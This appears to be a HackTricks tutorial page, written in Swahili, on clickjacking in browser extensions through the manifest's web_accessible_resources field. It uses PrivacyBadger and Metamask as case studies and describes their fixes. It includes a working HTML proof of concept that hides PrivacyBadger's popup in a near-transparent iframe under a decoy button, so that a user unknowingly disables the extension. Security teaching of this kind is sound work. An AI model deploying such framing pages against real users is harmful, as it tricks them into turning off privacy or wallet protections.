# BrowExt - ClickJacking

{{#include ../../banners/hacktricks-training.md}}

## Basic Information

Ukurasa huu utafaidika na udhaifu wa ClickJacking katika nyongeza ya Kivinjari.\
Ikiwa hujui ClickJacking ni nini angalia:

{{#ref}}
../clickjacking.md
{{#endref}}

Nyongeza zina faili **`manifest.json`** na faili hiyo ya JSON ina uwanja `web_accessible_resources`. Hapa kuna kile [nyaraka za Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources) zinasema kuhusu hilo:

> Rasilimali hizi zitapatikana katika ukurasa wa wavuti kupitia URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, ambayo inaweza kuzalishwa kwa kutumia **`extension.getURL method`**. Rasilimali zilizoorodheshwa zinatolewa na vichwa vya CORS vinavyofaa, hivyo zinapatikana kupitia mitambo kama XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)

**`web_accessible_resources`** katika nyongeza ya kivinjari si tu zinapatikana kupitia wavuti; pia zinafanya kazi kwa ruhusa za ndani za nyongeza. Hii inamaanisha zina uwezo wa:

- Kubadilisha hali ya nyongeza
- Kupakia rasilimali za ziada
- Kuingiliana na kivinjari hadi kiwango fulani

Hata hivyo, kipengele hiki kinatoa hatari ya usalama. Ikiwa rasilimali ndani ya **`web_accessible_resources`** ina kazi yoyote muhimu, mshambuliaji anaweza kuingiza rasilimali hii kwenye ukurasa wa wavuti wa nje. Watumiaji wasiojua wanaotembelea ukurasa huu wanaweza bila kukusudia kuamsha rasilimali hii iliyounganishwa. Kuamsha kwa namna hiyo kunaweza kusababisha matokeo yasiyokusudiwa, kulingana na ruhusa na uwezo wa rasilimali za nyongeza.

## PrivacyBadger Example

Katika nyongeza ya PrivacyBadger, udhaifu uligundulika kuhusiana na saraka ya `skin/` kutangazwa kama `web_accessible_resources` kwa njia ifuatayo (Angalia [blogu ya asili](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
```json
"web_accessible_resources": [
"skin/*",
"icons/*"
]
```
Hii usanidi ilisababisha tatizo la usalama. Kwa haswa, faili ya `skin/popup.html`, ambayo inatolewa wakati wa mwingiliano na ikoni ya PrivacyBadger kwenye kivinjari, inaweza kuingizwa ndani ya `iframe`. Kuingizwa huku kunaweza kutumika kudanganya watumiaji kujiingiza kwa bahati mbaya kwenye kubofya "Disable PrivacyBadger for this Website". Kitendo kama hicho kingeathiri faragha ya mtumiaji kwa kuzima ulinzi wa PrivacyBadger na kwa uwezekano kupelekea mtumiaji kufuatiliwa zaidi. Onyesho la kuona la exploit hii linaweza kuangaliwa katika mfano wa video ya ClickJacking iliyotolewa kwenye [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).

Ili kushughulikia udhaifu huu, suluhisho rahisi lilitekelezwa: kuondoa `/skin/*` kutoka kwenye orodha ya `web_accessible_resources`. Mabadiliko haya yalipunguza hatari kwa kuhakikisha kwamba maudhui ya saraka ya `skin/` hayawezi kufikiwa au kubadilishwa kupitia rasilimali zinazoweza kufikiwa mtandaoni.

Suluhisho lilikuwa rahisi: **ondoa `/skin/*` kutoka kwenye `web_accessible_resources`**.

### PoC
```html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
## Mfano wa Metamask

A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). Katika kesi hii, Metamask ilirekebisha udhaifu kwa kuangalia kwamba protokali iliyotumika kuifikia ilikuwa **`https:`** au **`http:`** (sio **`chrome:`** kwa mfano):

<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>

**ClickJacking nyingine iliyorekebishwa** katika nyongeza ya Metamask ilikuwa kwamba watumiaji wangeweza **Click to whitelist** wakati ukurasa ulikuwa na shaka kuwa ni uvuvi kwa sababu ya `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Kwa kuwa ukurasa huo ulikuwa na udhaifu wa Clickjacking, mshambuliaji angeweza kuutumia kuonyesha kitu cha kawaida ili kumfanya mwathirika abonyeze kuorodhesha bila kutambua, na kisha kurudi kwenye ukurasa wa uvuvi ambao utaorodheshwa.

## Mfano wa Steam Inventory Helper

Angalia ukurasa ufuatao ili kuona jinsi **XSS** katika nyongeza ya kivinjari ilivyofunganishwa na udhaifu wa **ClickJacking**:

{{#ref}}
browext-xss-example.md
{{#endref}}

## Marejeleo

- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)

{{#include ../../banners/hacktricks-training.md}}